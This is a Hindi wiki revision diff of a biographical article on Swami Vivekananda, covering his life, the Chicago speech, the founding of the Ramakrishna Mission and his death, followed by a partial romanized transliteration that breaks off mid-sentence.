Difference between revisions of "स्वामी विवेकानन्द"

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'''स्वामी विवेकानन्द''' (जन्म- [[12 जनवरी]], [[1863]] [[कलकत्ता]] - मृत्यु- [[4 जुलाई]], [[1902]] [[बेलूर]]) एक युवा संन्यासी के रूप में [[भारतीय संस्कृति]] की सुगन्ध विदेशों में बिखरने वाले [[साहित्य]], [[दर्शन]] और [[इतिहास]] के प्रकाण्ड विद्वान थे। विवेकानन्द जी का मूल नाम नरेंद्रनाथ दत्त था, जो कि आगे चलकर स्वामी विवेकानन्द के नाम से विख्यात हुए। युगांतरकारी आध्यात्मिक गुरु, जिन्होंने हिन्दू धर्म को गतिशील तथा व्यवहारिक बनाया और सुदृढ़ सभ्यता के निर्माण के लिए आधुनिक मानव से पश्चिमी विज्ञान व भौतिकवाद को [[भारत]] की आध्यात्मिक संस्कृति से जोड़ने का आग्रह किया। कलकत्ता के एक कुलीन परिवार में जन्मे नरेंद्रनाथ चिंतन व क्रम, भक्ति व तार्किकता, भौतिक एवं बौद्धिक श्रेष्ठता के साथ-साथ संगीत की प्रतिभा का एक विलक्षण संयोग थे। '''[[भारत]] में स्वामी विवेकानन्द के जन्म दिवस को [[राष्ट्रीय युवा दिवस]] के रूप में मनाया जाता है।'''  
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'''स्वामी विवेकानन्द''' (जन्म- [[12 जनवरी]], [[1863]] [[कलकत्ता]] - मृत्यु- [[4 जुलाई]], [[1902]] [[बेलूर]]) एक युवा संन्यासी के रूप में [[भारतीय संस्कृति]] की सुगन्ध विदेशों में बिखरने वाले [[साहित्य]], [[दर्शन]] और [[इतिहास]] के प्रकाण्ड विद्वान थे। विवेकानन्द जी का मूल नाम 'नरेंद्रनाथ दत्त' था, जो कि आगे चलकर स्वामी विवेकानन्द के नाम से विख्यात हुए। युगांतरकारी आध्यात्मिक [[गुरु]], जिन्होंने [[हिन्दू धर्म]] को गतिशील तथा व्यवहारिक बनाया और सुदृढ़ सभ्यता के निर्माण के लिए आधुनिक मानव से पश्चिमी विज्ञान व भौतिकवाद को [[भारत]] की आध्यात्मिक संस्कृति से जोड़ने का आग्रह किया। कलकत्ता के एक कुलीन परिवार में जन्मे नरेंद्रनाथ चिंतन व क्रम, भक्ति व तार्किकता, भौतिक एवं बौद्धिक श्रेष्ठता के साथ-साथ [[संगीत]] की प्रतिभा का एक विलक्षण संयोग थे। '''[[भारत]] में स्वामी विवेकानन्द के जन्म दिवस को [[राष्ट्रीय युवा दिवस]] के रूप में मनाया जाता है।'''  
 
==जीवन परिचय==
 
==जीवन परिचय==
श्री विश्वनाथदत्त पाश्चात्य सभ्यता में आस्था रखने वाले व्यक्ति थे। श्री विश्वनाथदत्त के घर में उत्पन्न होने वाला उनका पुत्र नरेन्द्रदत्त पाश्चात्य जगत को भारतीय तत्त्वज्ञान का सन्देश सुनाने वाला महान विश्व-गुरु बना। स्वामी विवेकानन्द का जन्म 12 जनवरी 1863 में कलकत्ता (वर्तमान [[कोलकाता]]), [[भारत]] में हुआ। रोमा रोलाँ ने नरेन्द्रदत्त (भावी विवेकानन्द) के सम्बन्ध में ठीक कहा है- 'उनका बचपन और युवावस्था के बीच का काल योरोप के पुनरूज्जीवन-युग के किसी कलाकार राजपुत्र के जीवन-प्रभात का स्मरण दिलाता है।' बचपन से ही नरेन्द्र में आध्यात्मिक पिपासा थी। सन् 1884 में पिता की मृत्यु के पश्चात्त परिवार के भरण-पोषण का भार भी उन्हीं पर पड़ा। स्वामी विवेकानन्द ग़रीब परिवार के थे। नरेन्द्र का विवाह नहीं हुआ था। दुर्बल आर्थिक स्थिति में स्वयं भूखे रहकर अतिथियों के सत्कार की गौरव-गाथा उनके जीवन का उज्ज्वल अध्याय है। नरेन्द्र की प्रतिभा अपूर्व थी। उन्होंने बचपन में ही दर्शनों का अध्ययन कर लिया। ब्रह्मसमाज में भी वे गये, पर वहाँ उनकी जिज्ञासा शान्त न हुई। प्रखर बुद्धि साधना में समाधान न पाकर नास्तिक हो चली।
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श्री विश्वनाथदत्त पाश्चात्य सभ्यता में आस्था रखने वाले व्यक्ति थे। श्री विश्वनाथदत्त के घर में उत्पन्न होने वाला उनका पुत्र नरेन्द्रदत्त पाश्चात्य जगत को भारतीय तत्त्वज्ञान का सन्देश सुनाने वाला महान विश्व-गुरु बना। स्वामी विवेकानन्द का जन्म [[12 जनवरी]] 1863 में कलकत्ता (वर्तमान [[कोलकाता]]), [[भारत]] में हुआ। रोमा रोलाँ ने नरेन्द्रदत्त (भावी विवेकानन्द) के सम्बन्ध में ठीक कहा है- 'उनका बचपन और युवावस्था के बीच का काल [[यूरोप|योरोप]] के पुनरूज्जीवन-युग के किसी कलाकार राजपुत्र के जीवन-प्रभात का स्मरण दिलाता है।' बचपन से ही नरेन्द्र में आध्यात्मिक पिपासा थी। सन् 1884 में पिता की मृत्यु के पश्चात परिवार के भरण-पोषण का भार भी उन्हीं पर पड़ा। स्वामी विवेकानन्द ग़रीब परिवार के थे। नरेन्द्र का विवाह नहीं हुआ था। दुर्बल आर्थिक स्थिति में स्वयं भूखे रहकर अतिथियों के सत्कार की गौरव-गाथा उनके जीवन का उज्ज्वल अध्याय है। नरेन्द्र की प्रतिभा अपूर्व थी। उन्होंने बचपन में ही [[दर्शन शास्त्र|दर्शनों]] का अध्ययन कर लिया। [[ब्रह्मसमाज]] में भी वे गये, पर वहाँ उनकी जिज्ञासा शान्त न हुई। प्रखर बुद्धि साधना में समाधान न पाकर नास्तिक हो चली।
 
==शिक्षा==
 
==शिक्षा==
16 वर्ष की आयु में उन्होंने कलकत्ता से 1879 में एंट्रेस की परीक्षा पास की। अपने शिक्षा काल में वे सर्वाधिक लोकप्रिय और एक जिज्ञासु छात्र थे। किन्तु हर्बर्ट स्पेंसर (HERBERT SPENCER) के नास्तिकवाद का उन पर पूरा प्रभाव था। उन्होंने से स्नातक उपाधि प्राप्त की और ब्रह्म समाज में शामिल हुए, जो हिन्दू धर्म में सुधार लाने तथा उसे आधुनिक बनाने का प्रयास कर रहा था।  
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1879 में 16 [[वर्ष]] की आयु में उन्होंने कलकत्ता से एंट्रेस की परीक्षा पास की। अपने शिक्षा काल में वे सर्वाधिक लोकप्रिय और एक जिज्ञासु छात्र थे। किन्तु हर्बर्ट स्पेंसर (HERBERT SPENCER) के नास्तिकवाद का उन पर पूरा प्रभाव था। उन्होंने से स्नातक उपाधि प्राप्त की और ब्रह्म समाज में शामिल हुए, जो हिन्दू धर्म में सुधार लाने तथा उसे आधुनिक बनाने का प्रयास कर रहा था।  
 
[[चित्र:Swami Vivekanand.jpg|स्वामी विवेकानंद<br /> Swami Vivekananda|thumb|left]]  
 
[[चित्र:Swami Vivekanand.jpg|स्वामी विवेकानंद<br /> Swami Vivekananda|thumb|left]]  
 
==रामकृष्ण से भेंट==
 
==रामकृष्ण से भेंट==
 
युवावस्था में उन्हें पाश्चात्य दार्शनिकों के निरीश्वर भौतिकवाद तथा ईश्वर के अस्तित्व में दृढ़ भारतीय विश्वास के कारण गहरे द्वंद्व से गुज़रना पड़ा। परमहंस जी जैसे जौहरी ने रत्न को परखा। उन दिव्य महापुरुष के स्पर्श ने नरेन्द्र को बदल दिया। इसी समय उनकी भेंट अपने गुरु [[रामकृष्ण परमहंस|रामकृष्ण]] से हुई, जिन्होंने पहले उन्हें विश्वास दिलाया कि ईश्वर वास्तव में है और मनुष्य ईश्वर को पा सकता है। रामकृष्ण ने सर्वव्यापी परमसत्य के रूप में ईश्वर की सर्वोच्च अनुभूति पाने में नरेंद्र का मार्गदर्शन किया और उन्हें शिक्षा दी कि सेवा कभी दान नहीं, बल्कि सारी मानवता में निहित ईश्वर की सचेतन आराधना होनी चाहिए। यह उपदेश विवेकानंद के जीवन का प्रमुख दर्शन बन गया। कहा जाता है कि उस शक्तिपात के कारण कुछ दिनों तक नरेन्द्र उन्मत्त-से रहे। उन्हें गुरु ने आत्मदर्शन करा दिया था। पचीस वर्ष की अवस्था में नरेन्द्रदत्त ने काषायवस्त्र धारण किये। अपने गुरु से प्रेरित होकर नरेंद्रनाथ ने संन्यासी जीवन बिताने की दीक्षा ली और स्वामी विवेकानंद के रूप में जाने गए। जीवन के आलोक को जगत के अन्धकार में भटकते प्राणियों के समक्ष उन्हें उपस्थित करना था। स्वामी विवेकानंद ने पैदल ही पूरे भारत की यात्रा की।
 
युवावस्था में उन्हें पाश्चात्य दार्शनिकों के निरीश्वर भौतिकवाद तथा ईश्वर के अस्तित्व में दृढ़ भारतीय विश्वास के कारण गहरे द्वंद्व से गुज़रना पड़ा। परमहंस जी जैसे जौहरी ने रत्न को परखा। उन दिव्य महापुरुष के स्पर्श ने नरेन्द्र को बदल दिया। इसी समय उनकी भेंट अपने गुरु [[रामकृष्ण परमहंस|रामकृष्ण]] से हुई, जिन्होंने पहले उन्हें विश्वास दिलाया कि ईश्वर वास्तव में है और मनुष्य ईश्वर को पा सकता है। रामकृष्ण ने सर्वव्यापी परमसत्य के रूप में ईश्वर की सर्वोच्च अनुभूति पाने में नरेंद्र का मार्गदर्शन किया और उन्हें शिक्षा दी कि सेवा कभी दान नहीं, बल्कि सारी मानवता में निहित ईश्वर की सचेतन आराधना होनी चाहिए। यह उपदेश विवेकानंद के जीवन का प्रमुख दर्शन बन गया। कहा जाता है कि उस शक्तिपात के कारण कुछ दिनों तक नरेन्द्र उन्मत्त-से रहे। उन्हें गुरु ने आत्मदर्शन करा दिया था। पचीस वर्ष की अवस्था में नरेन्द्रदत्त ने काषायवस्त्र धारण किये। अपने गुरु से प्रेरित होकर नरेंद्रनाथ ने संन्यासी जीवन बिताने की दीक्षा ली और स्वामी विवेकानंद के रूप में जाने गए। जीवन के आलोक को जगत के अन्धकार में भटकते प्राणियों के समक्ष उन्हें उपस्थित करना था। स्वामी विवेकानंद ने पैदल ही पूरे भारत की यात्रा की।
 
==देश का पुनर्निर्माण==
 
==देश का पुनर्निर्माण==
रामकृष्ण की मृत्यु के बाद उन्होंने स्वयं को हिमालय में चिंतनरूपी आनंद सागर में डुबाने की चेष्टा की, लेकिन जल्दी ही वह इसे त्यागकर भारत की कारुणिक निर्धनता से साक्षात्कार करने और देश के पुनर्निर्माण के लिए समूचे भारत में भ्रमण पर निकल पड़े। इस दौरान उन्हें कई दिनों तक भूखे भी रहना पड़ा। इन छ्ह वर्षों के भ्रमण काल में वह राजाओं और दलितों, दोनों के अतिथि रहे। उनकी यह महान यात्रा [[कन्याकुमारी]] में समाप्त हुई, जहाँ ध्यानमग्न विवेकानंद को यह ज्ञान प्राप्त हुआ कि राष्ट्रीय पुनर्निर्माण की ओर रूझान वाले नए भारतीय वैरागियों और सभी आत्माओं, विशेषकर जनसाधारण की सुप्त दिव्यता के जागरण से ही इस मृतप्राय देश में प्राणों का संचार किया जा सकता है। भारत के पुनर्निर्माण के प्रति उनके लगाव ने ही उन्हें अंततः 1893 में शिकागो धर्म संसद में जाने के लिए प्रेरित किया, जहाँ वह बिना आमंत्रण के गए थे, परिषद में उनके प्रवेश की अनुमति मिलनी ही कठिन हो गयी। उनको समय न मिले, इसका भरपूर प्रयत्न किया गया। भला, पराधीन भारत क्या सन्देश देगा- योरोपीय वर्ग को तो भारत के नाम से ही घृणा थी। एक अमेरिकन प्रोफेसर के उद्योग से किसी प्रकार समय मिला और 11 सितंबर सन् 1893 के उस दिन उनके अलौकिक तत्वज्ञान ने पाश्चात्य जगत को चौंका दिया। अमेरिका ने स्वीकार कर लिया कि वस्तुत: भारत ही जगद्गुरु था और रहेगा। स्वामी विवेकानन्द ने वहाँ भारत और हिन्दू धर्म की भव्यता स्थापित करके ज़बरदस्त प्रभाव छोड़ा। 'सिस्टर्स ऐंड ब्रदर्स ऑफ़ अमेरिका' (अमेरिकी बहनों और भाइयों) के संबोधन के साथ अपने भाषण की शुरुआत करते ही 7000 प्रतिनिधियों ने तालियों के साथ उनका स्वागत किया। विवेकानंद ने वहाँ एकत्र लोगों को सभी मानवों की अनिवार्य दिव्यता के प्राचीन वेदांतिक संदेश और सभी धर्मों में निहित एकता से परिचित कराया। सन् 1896 तक वे [[अमेरिका]] रहे। उन्हीं का व्यक्तित्व था, जिसने भारत एवं हिन्दू-धर्म के गौरव को प्रथम बार विदेशों में जाग्रत किया। <br /><blockquote><span style="color: #8f5d31">धर्म एवं तत्वज्ञान के समान भारतीय स्वतन्त्रता की प्रेरणा का भी उन्होंने नेतृत्व किया। स्वामी विवेकानन्द कहा करते थे- 'मैं कोई तत्ववेत्ता नहीं हूँ। न तो संत या दार्शनिक ही हूँ। मैं तो ग़रीब हूँ और ग़रीबों का अनन्य भक्त हूँ। मैं तो सच्चा महात्मा उसे ही कहूँगा, जिसका हृदय ग़रीबों के लिये तड़पता हो।'</span></blockquote>
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रामकृष्ण की मृत्यु के बाद उन्होंने स्वयं को [[हिमालय]] में चिंतनरूपी आनंद सागर में डुबाने की चेष्टा की, लेकिन जल्दी ही वह इसे त्यागकर भारत की कारुणिक निर्धनता से साक्षात्कार करने और देश के पुनर्निर्माण के लिए समूचे भारत में भ्रमण पर निकल पड़े। इस दौरान उन्हें कई दिनों तक भूखे भी रहना पड़ा। इन छ्ह वर्षों के भ्रमण काल में वह राजाओं और दलितों, दोनों के अतिथि रहे। उनकी यह महान यात्रा [[कन्याकुमारी]] में समाप्त हुई, जहाँ ध्यानमग्न विवेकानंद को यह ज्ञान प्राप्त हुआ कि राष्ट्रीय पुनर्निर्माण की ओर रूझान वाले नए भारतीय वैरागियों और सभी आत्माओं, विशेषकर जनसाधारण की सुप्त दिव्यता के जागरण से ही इस मृतप्राय देश में प्राणों का संचार किया जा सकता है। भारत के पुनर्निर्माण के प्रति उनके लगाव ने ही उन्हें अंततः 1893 में [[शिकागो]] धर्म संसद में जाने के लिए प्रेरित किया, जहाँ वह बिना आमंत्रण के गए थे, परिषद में उनके प्रवेश की अनुमति मिलनी ही कठिन हो गयी। उनको समय न मिले, इसका भरपूर प्रयत्न किया गया। भला, पराधीन भारत क्या सन्देश देगा- योरोपीय वर्ग को तो भारत के नाम से ही घृणा थी। एक अमेरिकन प्रोफेसर के उद्योग से किसी प्रकार समय मिला और [[11 सितंबर]] सन् 1893 के उस दिन उनके अलौकिक तत्वज्ञान ने पाश्चात्य जगत को चौंका दिया। [[अमेरिका]] ने स्वीकार कर लिया कि वस्तुत: भारत ही जगद्गुरु था और रहेगा। स्वामी विवेकानन्द ने वहाँ भारत और हिन्दू धर्म की भव्यता स्थापित करके ज़बरदस्त प्रभाव छोड़ा। 'सिस्टर्स ऐंड ब्रदर्स ऑफ़ अमेरिका' (अमेरिकी बहनों और भाइयों) के संबोधन के साथ अपने भाषण की शुरुआत करते ही 7000 प्रतिनिधियों ने तालियों के साथ उनका स्वागत किया। विवेकानंद ने वहाँ एकत्र लोगों को सभी मानवों की अनिवार्य दिव्यता के प्राचीन वेदांतिक संदेश और सभी धर्मों में निहित एकता से परिचित कराया। सन् 1896 तक वे [[अमेरिका]] रहे। उन्हीं का व्यक्तित्व था, जिसने भारत एवं हिन्दू-धर्म के गौरव को प्रथम बार विदेशों में जाग्रत किया। <br /><blockquote><span style="color: #8f5d31">धर्म एवं तत्वज्ञान के समान भारतीय स्वतन्त्रता की प्रेरणा का भी उन्होंने नेतृत्व किया। स्वामी विवेकानन्द कहा करते थे- 'मैं कोई तत्ववेत्ता नहीं हूँ। न तो संत या दार्शनिक ही हूँ। मैं तो ग़रीब हूँ और ग़रीबों का अनन्य भक्त हूँ। मैं तो सच्चा महात्मा उसे ही कहूँगा, जिसका हृदय ग़रीबों के लिये तड़पता हो।'</span></blockquote>
  
 
==शिष्यों का समूह==
 
==शिष्यों का समूह==
 
[[चित्र:Swami-Vivekananda.jpg|thumb|स्वामी विवेकानन्द]]
 
[[चित्र:Swami-Vivekananda.jpg|thumb|स्वामी विवेकानन्द]]
पाँच वर्षों से अधिक समय तक उन्होंने अमेरिका के विभिन्न नगरों, लंदन और पेरिस में व्यापक व्याख्यान दिए। उन्होंने जर्मनी, रूस और पूर्वी यूरोप की भी यात्राएं कीं। हर जगह उन्होंने वेदांत के संदेश का प्रचार किया। कुछ अवसरों पर वह चरम अवस्था में पहुँच जाते थे (यहाँ तक कि पश्चिम के भीड़ भरे सभागारों में भी)। यहाँ उन्होंने समर्पित शिष्यों का समूह बनाया और उनमें से कुछ को अमेरिका के थाउज़ेंड आइलैंड पार्क में आध्यात्मिक जीवन में प्रशिक्षित किया। उनके कुछ शिष्यों ने उनका भारत तक अनुसरण किया।
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पाँच वर्षों से अधिक समय तक उन्होंने अमेरिका के विभिन्न नगरों, [[लंदन]] और पेरिस में व्यापक व्याख्यान दिए। उन्होंने [[जर्मनी]], [[रूस]] और [[यूरोप|पूर्वी यूरोप]] की भी यात्राएं कीं। हर जगह उन्होंने वेदांत के संदेश का प्रचार किया। कुछ अवसरों पर वह चरम अवस्था में पहुँच जाते थे (यहाँ तक कि पश्चिम के भीड़ भरे सभागारों में भी)। यहाँ उन्होंने समर्पित शिष्यों का समूह बनाया और उनमें से कुछ को अमेरिका के 'थाउज़ेंड आइलैंड पार्क' में आध्यात्मिक जीवन में प्रशिक्षित किया। उनके कुछ शिष्यों ने उनका भारत तक अनुसरण किया।
 
==वेदांत धर्म==
 
==वेदांत धर्म==
1897 में जब विवेकानंद भारत लौटे, तो राष्ट्र ने अभूतपूर्व उत्साह के साथ उनका स्वागत किया और उनके द्वारा दिए गए वेदांत के मानवतावादी, गतिशील तथा प्रायोगिक संदेश ने हज़ारों लोगों को प्रभावित किया। स्वामी विवेकानन्द ने सदियों के आलस्य को त्यागने के लिए भारतीयों को प्रेरित किया और उन्हें विश्व नेता के रूप में नए आत्मविश्वाश के साथ उठ खड़े होने तथा दलितों व महिलाओं को शिक्षित करने तथा उनके उत्थान के माध्यम से देश को ऊपर उठाने का संदेश दिया। स्वामी विवेकानन्द ने घोषणा की कि सभी कार्यों  और सेवाओं को मानव में पूर्णतः व्याप्त ईश्वर की परम आराधना बनाकर वेदांत धर्म को व्यवहारिक बनाया जाना ज़रूरी है। वह चाहते है कि भारत पश्चिमी देशों में भी आध्यात्मिकता का प्रसार करे। स्वामी विवेकानन्द ने घोषणा की कि सिर्फ़ अद्वैत वेदांत के आधार पर ही विज्ञान और धर्म साथ-साथ चल सकते हैं, क्योंकि इसके मूल में अवैयक्तिक ईश्वर की आधारभूत धारणा, सीमा के अंदर निहित अनंत और ब्रह्मांड में उपस्थित सभी वस्तुओं के पारस्परिक मौलिक संबंध की दृष्टि है। उन्होंने सभ्यता को मनुष्य में दिव्यता के प्रतिरूप के तौर पर परिभाषित किया और यह भविष्यवाणी भी की कि एक दिन पश्चिम जीवन की अनिवार्य दिव्यता के वेदांतिक सिद्धान्त की ओर आकर्षित होगा। विवेकानंद के संदेश ने पश्चिम के विशिष्ट बौद्धिकों, जैसे विलियम जेम्स, निकोलस टेसला, अभिनेत्री सारा बर्नहार्ड और मादाम एम्मा काल्व, एंग्लिकन चर्च, लंदन के धार्मिक चिंतन रेवरेंड कैनन विल्वरफ़ोर्स, और रेवरेंड होवीस तथा सर पैट्रिक गेडेस, हाइसिंथ लॉयसन,सर हाइरैम नैक्सिम, नेल्सन रॉकफ़ेलर, लिओ टॉल्स्टॉय व रोम्यां रोलां को भी प्रभावित किया। अंग्रेज़ भारतविद ए. एल बाशम ने विवेकानंद को इतिहास का पहला व्यक्ति बताया, जिन्होंने पूर्व की आध्यात्मिक संस्कृति के मित्रतापूर्ण प्रत्युत्तर का आरंभ किया और उन्हें आधुनिक विश्व को आकार देने वाला घोषित किया।
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1897 में जब विवेकानंद भारत लौटे, तो राष्ट्र ने अभूतपूर्व उत्साह के साथ उनका स्वागत किया और उनके द्वारा दिए गए वेदांत के मानवतावादी, गतिशील तथा प्रायोगिक संदेश ने हज़ारों लोगों को प्रभावित किया। स्वामी विवेकानन्द ने सदियों के आलस्य को त्यागने के लिए भारतीयों को प्रेरित किया और उन्हें विश्व नेता के रूप में नए आत्मविश्वास के साथ उठ खड़े होने तथा दलितों व महिलाओं को शिक्षित करने तथा उनके उत्थान के माध्यम से देश को ऊपर उठाने का संदेश दिया। स्वामी विवेकानन्द ने घोषणा की कि सभी कार्यों  और सेवाओं को मानव में पूर्णतः व्याप्त ईश्वर की परम आराधना बनाकर वेदांत धर्म को व्यवहारिक बनाया जाना ज़रूरी है। वह चाहते है कि भारत पश्चिमी देशों में भी आध्यात्मिकता का प्रसार करे। स्वामी विवेकानन्द ने घोषणा की कि सिर्फ़ अद्वैत वेदांत के आधार पर ही विज्ञान और धर्म साथ-साथ चल सकते हैं, क्योंकि इसके मूल में अवैयक्तिक ईश्वर की आधारभूत धारणा, सीमा के अंदर निहित अनंत और ब्रह्मांड में उपस्थित सभी वस्तुओं के पारस्परिक मौलिक संबंध की दृष्टि है। उन्होंने सभ्यता को मनुष्य में दिव्यता के प्रतिरूप के तौर पर परिभाषित किया और यह भविष्यवाणी भी की कि एक दिन पश्चिम जीवन की अनिवार्य दिव्यता के वेदांतिक सिद्धान्त की ओर आकर्षित होगा। विवेकानंद के संदेश ने पश्चिम के विशिष्ट बौद्धिकों, जैसे विलियम जेम्स, निकोलस टेसला, अभिनेत्री सारा बर्नहार्ड और मादाम एम्मा काल्व, एंग्लिकन चर्च, लंदन के धार्मिक चिंतन रेवरेंड कैनन विल्वरफ़ोर्स, और रेवरेंड होवीस तथा सर पैट्रिक गेडेस, हाइसिंथ लॉयसन, सर हाइरैम नैक्सिम, नेल्सन रॉकफ़ेलर, लिओ टॉल्स्टॉय व रोम्यां रोलां को भी प्रभावित किया। [[अंग्रेज़]] भारतविद ए. एल बाशम ने विवेकानंद को इतिहास का पहला व्यक्ति बताया, जिन्होंने पूर्व की आध्यात्मिक संस्कृति के मित्रतापूर्ण प्रत्युत्तर का आरंभ किया और उन्हें आधुनिक विश्व को आकार देने वाला घोषित किया।
 
==मसीहा के रूप में==
 
==मसीहा के रूप में==
[[अरबिंदो घोष]], [[सुभाषचंद्र बोस]], [[सर जमशेदजी टाटा]], [[रबींद्रनाथ टैगोर]] तथा [[महात्मा गांधी]] जैसे महान व्यक्तियों ने स्वामी विवेकानन्द को भारत की आत्मा को जागृत करने वाला और भारतीय राष्ट्रवाद के मसीहा के रूप में देखा। विवेकानंद 'सार्वभौमिकता' के मसीहा के रूप में उभरे। स्वामी विवेकानन्द पहले अंतरराष्ट्रवादी थे, जिन्होंने 'लीग ऑफ़ नेशन्स' के जन्म से भी पहले वर्ष 1897 में अंतर्राष्ट्रीय संगठनों, [[चित्र:Vivekananda-Rock-Memorial.jpg|thumb|left|250px|विवेकानन्द रॉक मेमोरियल, [[कन्याकुमारी]]<br />Vivekananda Rock Memorial, Kanyakumari]] गठबंधनों और क़ानूनों का आह्वान किया, जिससे राष्ट्रों के बीच समन्वय स्थापित किया जा सके।
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[[अरबिंदो घोष]], [[सुभाषचंद्र बोस]], [[सर जमशेदजी टाटा]], [[रबींद्रनाथ टैगोर]] तथा [[महात्मा गांधी]] जैसे महान व्यक्तियों ने स्वामी विवेकानन्द को भारत की आत्मा को जागृत करने वाला और भारतीय राष्ट्रवाद के मसीहा के रूप में देखा। विवेकानंद 'सार्वभौमिकता' के मसीहा के रूप में उभरे। स्वामी विवेकानन्द पहले अंतरराष्ट्रवादी थे, जिन्होंने 'लीग ऑफ़ नेशन्स' के जन्म से भी पहले [[वर्ष]] 1897 में अंतर्राष्ट्रीय संगठनों, [[चित्र:Vivekananda-Rock-Memorial.jpg|thumb|left|250px|विवेकानन्द रॉक मेमोरियल, [[कन्याकुमारी]]<br />Vivekananda Rock Memorial, Kanyakumari]] गठबंधनों और क़ानूनों का आह्वान किया, जिससे राष्ट्रों के बीच समन्वय स्थापित किया जा सके।
  
 
==स्वामी विवेकानंद द्वारा स्थापित==
 
==स्वामी विवेकानंद द्वारा स्थापित==
 
[[चित्र:Swami Vivekananda.gif|thumb|स्वामी विवेकानन्द]]
 
[[चित्र:Swami Vivekananda.gif|thumb|स्वामी विवेकानन्द]]
विवेकानंद ने 1 मई 1897 में कलकत्ता में [[रामकृष्ण मिशन]] और 9 दिसंबर 1898 को कलकत्ता के निकट [[गंगा नदी]] के किनारे बेलूर में [[रामकृष्ण मठ]] की स्थापना की। उनके अंग्रेज़ अनुयायी कैप्टन सर्वियर और उनकी पत्नी ने हिमालय में 1899 में मायावती अद्वैत आश्रम खोला। इसे सार्वभौमिक चेतना के अद्वैत दृष्टिकोण के एक अद्वितीय संस्थान के रूप में शुरू किया गया और विवेकानंद की इच्छानुसार, इसे उनके पूर्वी और पश्चिमी अनुयायियों का सम्मिलन केंद्र बनाया गया। विवेकानंद ने बेलूर में एक दृश्य प्रतीक के रूप में सभी प्रमुख धर्मों के वास्तुशास्त्र के समन्वय पर आधारित रामकृष्ण मंदिर के भावी आकार की रूपरेखा भी बनाई, जिसे 1937 में उनके साथी शिष्यों ने पूरा किया।
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विवेकानंद ने [[1 मई]] 1897 में कलकत्ता में [[रामकृष्ण मिशन]] और [[9 दिसंबर]] 1898 को कलकत्ता के निकट [[गंगा नदी]] के किनारे [[बेलूर]] में [[रामकृष्ण मठ]] की स्थापना की। उनके अंग्रेज़ अनुयायी कैप्टन सर्वियर और उनकी पत्नी ने [[हिमालय]] में 1899 में 'मायावती अद्वैत आश्रम' खोला। इसे सार्वभौमिक चेतना के अद्वैत दृष्टिकोण के एक अद्वितीय संस्थान के रूप में शुरू किया गया और विवेकानंद की इच्छानुसार, इसे उनके पूर्वी और पश्चिमी अनुयायियों का सम्मिलन केंद्र बनाया गया। विवेकानंद ने बेलूर में एक दृश्य प्रतीक के रूप में सभी प्रमुख धर्मों के वास्तुशास्त्र के समन्वय पर आधारित रामकृष्ण मंदिर के भावी आकार की रूपरेखा भी बनाई, जिसे 1937 में उनके साथी शिष्यों ने पूरा किया।
 
==ग्रन्थों की रचना==
 
==ग्रन्थों की रचना==
योग, राजयोग तथा ज्ञानयोग जैसे ग्रंथों की रचना करके विवेकानन्द ने युवा जगत को एक नई राह दिखाई है, जिसका प्रभाव जनमानस पर युगों-युगों तक छाया रहेगा। [[कन्याकुमारी]] में निर्मित उनका स्मारक आज भी उनकी महानता की कहानी कह रहा है।
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'योग', 'राजयोग' तथा 'ज्ञानयोग' जैसे ग्रंथों की रचना करके विवेकानन्द ने युवा जगत को एक नई राह दिखाई है, जिसका प्रभाव जनमानस पर युगों-युगों तक छाया रहेगा। [[कन्याकुमारी]] में निर्मित उनका स्मारक आज भी उनकी महानता की कहानी कह रहा है।
 
==मृत्यु==
 
==मृत्यु==
4 जुलाई, 1902 को [[बेलूर]] में रामकृष्ण मठ में उन्होंने ध्यानमग्न अवस्था में महासमाधि धारण कर प्राण त्याग दिए। उनके शिष्यों और अनुयायियों ने उनकी स्मृति में वहाँ एक मंदिर बनवाया और समूचे विश्व में विवेकानंद तथा उनके गुरु रामकृष्ण के संदेशों के प्रचार के लिए 130 से अधिक केंद्रों की स्थापना की।
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[[4 जुलाई]], 1902 को [[बेलूर]] में रामकृष्ण मठ में उन्होंने ध्यानमग्न अवस्था में महासमाधि धारण कर प्राण त्याग दिए। उनके शिष्यों और अनुयायियों ने उनकी स्मृति में वहाँ एक मंदिर बनवाया और समूचे विश्व में विवेकानंद तथा उनके गुरु रामकृष्ण के संदेशों के प्रचार के लिए 130 से अधिक केंद्रों की स्थापना की।
  
 
{{seealso|स्वामी विवेकानन्द के अनमोल वचन|रामकृष्ण मिशन|विवेकानन्द रॉक मेमोरियल}}
 
{{seealso|स्वामी विवेकानन्द के अनमोल वचन|रामकृष्ण मिशन|विवेकानन्द रॉक मेमोरियल}}

Revision as of 06:24, 4 July 2012

svami vivekanand
poora nam svami vivekanand
janm 12 janavari, 1863
janm bhoomi kalakatta (vartaman kolakata)
mrityu 4 julaee, 1902
mrityu sthan ramkrishna math, beloor
guru ramkrishna paramahans
mukhy rachanaean yog, rajayog, jnanayog
shiksha snatak
vidyalay kalakatta vishvavidyalay
nagarikata bharatiy

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svami vivekanand (janm- 12 janavari, 1863 kalakatta - mrityu- 4 julaee, 1902 beloor) ek yuva sannyasi ke roop mean bharatiy sanskriti ki sugandh videshoan mean bikharane vale sahity, darshan aur itihas ke prakand vidvan the. vivekanand ji ka mool nam 'nareandranath datt' tha, jo ki age chalakar svami vivekanand ke nam se vikhyat hue. yugaantarakari adhyatmik guru, jinhoanne hindoo dharm ko gatishil tatha vyavaharik banaya aur sudridh sabhyata ke nirman ke lie adhunik manav se pashchimi vijnan v bhautikavad ko bharat ki adhyatmik sanskriti se jo dane ka agrah kiya. kalakatta ke ek kulin parivar mean janme nareandranath chiantan v kram, bhakti v tarkikata, bhautik evan bauddhik shreshthata ke sath-sath sangit ki pratibha ka ek vilakshan sanyog the. bharat mean svami vivekanand ke janm divas ko rashtriy yuva divas ke roop mean manaya jata hai.

jivan parichay

shri vishvanathadatt pashchaty sabhyata mean astha rakhane vale vyakti the. shri vishvanathadatt ke ghar mean utpann hone vala unaka putr narendradatt pashchaty jagat ko bharatiy tattvajnan ka sandesh sunane vala mahan vishv-guru bana. svami vivekanand ka janm 12 janavari 1863 mean kalakatta (vartaman kolakata), bharat mean hua. roma rolaan ne narendradatt (bhavi vivekanand) ke sambandh mean thik kaha hai- 'unaka bachapan aur yuvavastha ke bich ka kal yorop ke punaroojjivan-yug ke kisi kalakar rajaputr ke jivan-prabhat ka smaran dilata hai.' bachapan se hi narendr mean adhyatmik pipasa thi. sanh 1884 mean pita ki mrityu ke pashchat parivar ke bharan-poshan ka bhar bhi unhian par p da. svami vivekanand garib parivar ke the. narendr ka vivah nahian hua tha. durbal arthik sthiti mean svayan bhookhe rahakar atithiyoan ke satkar ki gaurav-gatha unake jivan ka ujjval adhyay hai. narendr ki pratibha apoorv thi. unhoanne bachapan mean hi darshanoan 